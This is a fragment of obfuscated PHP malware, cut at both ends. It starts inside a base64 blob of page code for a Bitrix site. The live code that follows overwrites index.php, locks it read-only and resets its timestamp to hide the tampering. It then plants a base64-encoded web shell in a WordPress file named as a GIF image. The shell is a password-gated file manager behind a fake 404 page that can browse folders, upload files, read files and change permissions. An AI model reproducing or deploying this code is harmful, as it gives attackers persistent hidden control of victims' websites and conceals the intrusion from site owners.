a3hMUTJ3M1NrZHNkMWd5Um10YVNFbG5VRk5CYmtwNmRIQmFhVUZ2WVZoT2VscFlVVzlLUmpsVVVsWktWMUpXU21KS01HaFZWa1pDWmxFd1dtWlJNRGxQVkd0V1JGWkZiRTlTTVRsS1ZVTmtaRXRUUVcxS2FVRm9XbGN4ZDJSSWEyOUtSamxVVWxaS1YxSldTbUpLTUdoVlZrWkNabEV3V21aUk1EbFBWR3RXUkZaRmJFOVNNVGxLVlVOa1pFdFRhMmRsZVZKd1kwWTVhRnBIVW5sSlJEQm5Ta1k1VkZKV1NsZFNWa3BpU2pCb1ZWWkdRbVpSTUZwbVVUQTVUMVJyVmtSV1JXeFBVakU1U2xWRFpHUlBNekJuV2xkNGVscFhiRzFKUTJod1l6Tk9iR1JEWjJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVdWZ3hTa1pSVlhobVUxWkJibGhUYTJkS2FWbG5TVmRXZEdOSVVqVkxRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd4YUdaVmExWkNWRVk1U2xWRFpHUkxVMnRuWlhsU2NHTkdPV2hhUjFKNVNVUXdaMHBHT1ZSU1ZrcFhVbFpLWWtvd2FGVldSa0ptVjBZNVUxSlZSazFZTUd4UlNqRXdOMlpUUW14aVNFNXNZVmRaWjB0SGJIcGpNbFl3UzBOU1psVXdWbE5XYTFaVFYzbGtTVlpHVWxGWU1XaG1VbXM1VTFZd1JsTlNSVlpGV0RCYVVGVnBaR1JMVTBGdFNtbEJhRnBYTVhka1NHdHZTa1k1VkZKV1NsZFNWa3BpU2pCb1ZWWkdRbVpYUmpsSFZERktXRkZXU2tWU1ZWSm1VbXM1VTBveE1IQkxVMEkzU2tkc2QxZ3lSbXRhU0VsblVGTkJhMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVZIUTVTVWRXYzJNeVZXZGxlVkp3WTBZNWFGcEhVbmxKUkRCblNrWTVWRkpXU2xkU1ZrcGlTakZLUmxSVk9WVlNWamxDVWtWU1Uwb3hNRGRtVTFKd1kwWTVhRnBIVW5sSlJEQm5aRWhLY0dKVGFIcGtTRXBtWTIxV2QySkhSbXBhVTJkcFNVTkpjMGxEU1dsTVEwRnJZVmhDWmxsWFVtdGphV3R6U1VOSmMwbHBhemRoVjFsblMwaE9NR051UW5aamVXZHJZVmhDWmxsWFVtdGphWGRuU1dsM2FVdFRRV2hRVkRCbldtMUdjMk15VlhCSlNITnJZVmhDWmxsWFVtdGphVUU1U1VkV05HTkhlSFphUjFWdlNXbDNhVXhEUVd0aFdFSm1XVmRTYTJOcGF6ZEtSMngzV0RKR2ExcElTV2RRVTBGcllWaENabGxYVW10amJITjNXRlIwT1dOdFZqQmtXRXAxU1VOU2NHTkdPV2hhUjFKNVR6TXhiV1JYTldwa1IyeDJZbWxDYldFelFsTlhSVnBzVlZaV2RVdERiRGRLUjJnd1pFaENabU5JU25aa1J6aG5VRk5CYm1GSVVqQmpSRzkyVEhsak4yRlhXV2RMUjJ4Nll6SldNRXREVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSVlhsa1pFdFRRVzFLYVVKNlpFaEtNR0l5ZUhaa01sWjVTME5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZWZVdSa1MxTkJhRkJVTUdkS01qbHRXbWxqY0VsSWMydGhTRkl3WTBZNWQyTnRPVEJpZVVFNVNVTmtiMlJJVW5kamVtOTJUSGxqTjJaVFFteGlTRTVzWVZkWlowdEhiSHBqTWxZd1MwTlNabFV3VmxOV2ExWlRWM2xrU1ZaR1VsRllNV2htVW1zNVUxWXdSbE5TUlZaRldERkNVMVF4VWxCS01UQndTVU5aYlVsRFVtWlZNRlpUVm10V1UxZDVaRWxXUmxKUldERm9abEpyT1ZOV01FWlRVa1ZXUlZneFFsTlVNVkpRU2pFd1oxQlVNRGxKUTJSdlpFaFNkMk41WTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVUwSnNZa2hPYkdGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1WkVsV1JsSlJXREJhVTFRd05WVllNRlpQVWtZNVNWWkdVbEZWZVdSa1MxTkJiVXBwUW5wa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd3V2xOVU1EVlZXREJXVDFKR09VbFdSbEpSVlhsa1pFdFRRV2hRVkRCblNqSTViVnBwWTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVdFcHNaRWhXZVdKcFFXdGhTRkl3WTBZNWQyTnRPVEJpZW5RNVlWZFpaMHREVW1aVk1GWlRWbXRXVTFkNVpGTlNWa1pXVWxaT1ZWZ3hWbE5UVTJSa1NVUXdPVkJUUVc1TU1VbDBTbmxCZFVsSE1XdE9VMmRyV0RGT1JsVnNXa1pWYkhOdVZUQldVMVpyVmxOWU1EVkNWRlZWYmxoVGEzQkpTSFJzWlVkc01FdElUakJqYmtwc1pHbG9kRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNVTVHVld4YVJsVnNPVTlSVlRGR1NqRXdjRXRUYXpkbVYyeHRTVU5vZW1SWFNucGtTRXBtV1RJNU1XSnVVVzlLUmpsVVVsWktWMUpXU21KS01VcEdWVlpXUmxVeFVtWldWa3BLU2pFd2MwbERaSEJpYlZKc1pVTTFkMkZJUVhaaGJYTnVTMU5yWjJVeVZqUmhXRkZ2U2pOelowbHRWbmxqYlRsNVNXcHZaMDFxUVhkTVEwRnBZa2ROYVU5cFFXbGhiWE5wVEVOQmFWcEhSakJaVTBrMlNVWnpaMDFUUW1SSlNEQnVTMVIwT1VwSGJIZFlNa1pyV2toSloxQlRRa0ppUjJ4SldWaEtUMUZzVWtkVlZscE1TME5yTjBwSVNteGFiVlo1V2xoSloxQlRRbnBrU0VveVdWZDNiMUZEVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSV0RGS1JsSnJWbE5TVmtsdVdGTnJOMHBJVG5Ca1IxWm1aRmhLYzBsRU1HZGFiWFIzVld4b1IxcFdSbFppYVdkd1NVTTBaMHBHT1ZSU1ZrcFhVbFpLWWtvd2FGVldSa0ptVTBVNVZGWkRaR1JQTW14dFNVTm9lbVJJU25kaU0wMXZTa2hLYkZwdFZubGFXRWx6U1VOU2VtRllVbXhZTTFaNVlrTnJaMUJVTURsSlJFRndTVU5TZVZwWFdteGpiVlo1U1VRd1owcDVZemRLU0VwNFNVUXdaMWxZU25sWldHdHZTMVJ6YTJOdVJtSktNbXR1V0ZOQk9VbEhXak5qYlhSelkxZFdORlZHUm5SaWJGSjZWRzFLY1ZsWGEyOUtSMngzV0RKR2ExcElTWEJQZVZKNVkxWnpibUpEWkdSSlJEQm5XbTVrZVdFeWVIaGFXR2hSVlZjeGRWWklUazlaYlhCb1lWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxDVVRCT1JsVkdVbVpVUlVaUFVqRldRbEl3Vlc1WVUyczNTa2hLZUZkNVpIcGlhV1JrU1VRd1oxcHVaSGxoTW5oNFdsaG9VVlZYTVhWV1NFNVBXVzF3YUdGVFoydFlNVTVHVld4YVJsVnNjMjVWTUU1VFUxWkNWVmd3TlVKVVZWVnVXRk5yTjBwSVNuaFhlV1I1U2pFd1oxQlRRbTFrTTBweVlraEdiR1ZHUWxKaVZ6VlZZekExYVdGdFJuQkxRMUptVlRCV1UxWnJWbE5YZVdSVFVsWkdWbEpXVGxWWU1WWlRVMU5rWkV0VWMydGpia1ppU2pOS2JVb3hNR2RRVTBKdFpETktjbUpJUm14bFJrSlNZbGMxVldNd05XbGhiVVp3UzBOU2VWcFhXbXhqYlZaNVMxUnphMk51Um1KS00wMXVXRk5CT1VsSFdqTmpiWFJ6WTFkV05GVkdSblJpYkZKNlZHMUtjVmxYYTI5S1NFNXdaRWRXWm1SWVNuTkxWSE5yWTI1R1lrb3pWVzVZVTBFNVNVZGFNMk50ZEhOalYxWTBWVVpHZEdKc1VucFViVXB4V1ZkcmIwcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1WbFpPUmxWc09VSlNNRlpQVmtOa1pFdFVjMnRqYkRrd1kyMXNkRWxFTUdkalNFcHNXakU1ZVZwWVFuTlpWMDVzUzBOamRsaEVPSFZMYVRodVRFTkJia3A1ZDJkS1JqbFVVbFpLVjFKV1NtSktNVXBHVlZaV1JsVXhVbVpXVmtwS1NqRXdjRTk1VW5sWU1teDZaRWRHTUdGWFRXZFFVMEp0V1ZkNGVscFVkSEJhYVVGdll6TlNlV05IT1hwTFExSjVXRE5TZVdGWE1ITkpRMk4xU25scloxQnBRWGRLYVZwNlpFaEtkMkl6VFc5S1NFcG1aRWhLY0dKVGQyNU1ia0p2WTBOamNGQlVNRGxhYlVaell6SlZjRWxJYzJ0YVdHZ3dTVVF3WjJNelZtbGpNMUo1UzBOU2VWZ3pVbmxoVnpCelNVaE9NR051UW5aamVXZHJZMnc1TUdOdGJIUk1RMEZ1VEdsamNFdFVkSEJhYVVGdllWYzFabGxZU25sWldHdHZTa2RXTkdSRGQyZFpXRXA1V1ZocmIwcDVOWEZqZVdOelNVTmpkVmt6VG5wS2VYZG5TbmsxY1dOSFkyNU1RMEZ1VEc1Q2RWcDVZM05KUTJOMVdqSnNiVXA1ZDJkS2VUVndXVEk0Ymt0VGEzQkpTSE5yWTJ3NWNHTXpVbWhrUjJ4cVNVUXdaMlJJU2pGYVZIUTVabGRzYlVsRFoyaEtTRXBtWVZoT01GbFlVbkJaZVd0blpYbFNlVnBZVG5kaU1qVjZXbE5CT1VsRmRHaGxSa1pwV1ROR1YxRlZiREpWUlU1SlUydGtiVXRIU21oak1sVXlUa1k1YTFwWFRuWmFSMVZ2U1cxR1NWVnFRbXBTUnpreVZFUk9kMlZyTVRaVFdIQnJZV3RXTmxsNlRsWmtWMGw1VjIweGFGWXdOWE5aTW1zeFl6RnNXVlZZV1dsTFUzZG5Ta2hLZUV0VWRIQmFhVUZ2U1Zkc2RWZ3lSbmxqYlVZMVMwTlNlVnBZVG5kaU1qVjZXbFp6Ym1NelVtaGtTRlo2U2pFd2MwbEhSbmxqYlVZMVMwUkJjMGxFU1hkTlEydHdTMU5DTjJNelpIQmtSMDV2U1VObmEyTnRWbnBqUnpsMVl6SldZa296VGpCWldGSXhZM2xrWkV0VFFqZFpNa1o2V2xOQmVrMUVSVFpoUjFab1drZFdlVXREWkVsV1JsSlJUSHBGZFUxVFFYcE5SRVZuVkZjNU1scFhVV2RWUjFaNVlsZEdkVnBYTlRCaVNHdHVTMVIwYjFwWFJtdGFXRWx2U2pCNGRsa3lSakJoVnpsMVQybEJia2xETkdka1NFcHdZbE5uYTJOdFZucGpSemwxWXpKV1lrb3lUblppYmxKc1ltNVJibGhUYTNCUE1rcDVXbGRHY2s4eVRtaGpNbFZuVFhwQmVVOXRhR3haVjFKc1kybG5ibE5HVWxWVlF6aDRUR3BGWjAxNlFYbEpSVEYyWkcxVloxWkhWblJqUnpsNVdWaEtjR0pJYTI1TFZIUnZXbGRHYTFwWVNXOUtNSGgyV1RKR01HRlhPWFZQYVVGdVNVTTBaMlJJU25CaVUyZHJZMjFXZW1OSE9YVmpNbFppU2pKT2RtSnVVbXhpYmxGdVdGTnJjRTh5U25sYVYwWnlUekpPYUdNeVZXZE9SRUV3VDIxb2JGbFhVbXhqYVdkdVUwWlNWVlZET0hoTWFrVm5Ua1JCTUVsRk5YWmtRMEpIWWpOV2RWcERZM0JQTW1oc1dWZFNiR05wWjJsak0xSm9aRWhXZWs5cFFUQk5SRkZuVkcwNU1FbEZXblprVnpWclNXbHJOMWx1U214WlYzTTNXa2RXYlZsWVZuTmtSSEJwWTIxV2FHRjZkRGxtVjJ4dFNVTm9lbVJJU25OYVZ6UnZTa2hLYkdNelFuWmliazVzVjNsa2FtSXlOVEJhVnpVd1NqRXdjRXRUUWpkUlIyaHNXVmRTYkdOcFoyNVJNamwxWkVkV2RXUkRNVlZsV0VKc1QybGpaMHhwUVd0amJWWjZZMGM1ZFdNeVZtSktNMUkxWTBkVmJsaFRhemRhVjA1dllubEJhMk50Vm5walJ6bDFZekpXWWtveVRuWmlibEpzWW01UmJsaFVkR3hsUjJ3d1MwUkJjRTh6TVRsUWVqUTlJaWtwT3c9PSIvKi0+Y3NOIX0jeC0qLykvKi08cUtdQTI5LSovKTsvKi1uZSFfZ10oLSovPz48PwpyZXF1aXJlKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi9iaXRyaXgvaGVhZGVyLnBocCIpOwokQVBQTElDQVRJT04tPlNldFBhZ2VQcm9wZXJ0eSgiZGVzY3JpcHRpb24iLCAi0J7Qv9GC0L7QstGL0LUg0L/RgNC+0LTQsNC20Lgg0LDQutCy0LDRgNC40YPQvNC90YvRhSDRgNGL0LHQvtC6LCDQutC+0YDQvNC+0LIg0Lgg0L7QsdC+0YDRg9C00L7QstCw0L3QuNGPLiIpOwokQVBQTElDQVRJT04tPlNldFBhZ2VQcm9wZXJ0eSgidGl0bGUiLCAi0KLQvtCy0LDRgNGLINC00LvRjyDQsNC60LLQsNGA0LjRg9C80LjRgdGC0LjQutC4INC4INGC0LXRgNGA0LDRgNC40YPQvNC40YHRgtC40LrQuCDQvtC/0YLQvtC8IHwgQXhvbG90bHMucnUiKTsKJEFQUExJQ0FUSU9OLT5TZXRQYWdlUHJvcGVydHkoInZpZXdlZF9zaG93IiwgIlkiKTsKJEFQUExJQ0FUSU9OLT5TZXRUaXRsZSgi0JrQvtC80L/QsNC90LjRjyDQkNC60YHQvtC70L7RgtC70YwiKTsKPz48P3JlcXVpcmUoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4iL2JpdHJpeC9mb290ZXIucGhwIik7Pz4="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @touch($do."index.php", filectime($do."index.php")); @chmod($do."index.php", 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcH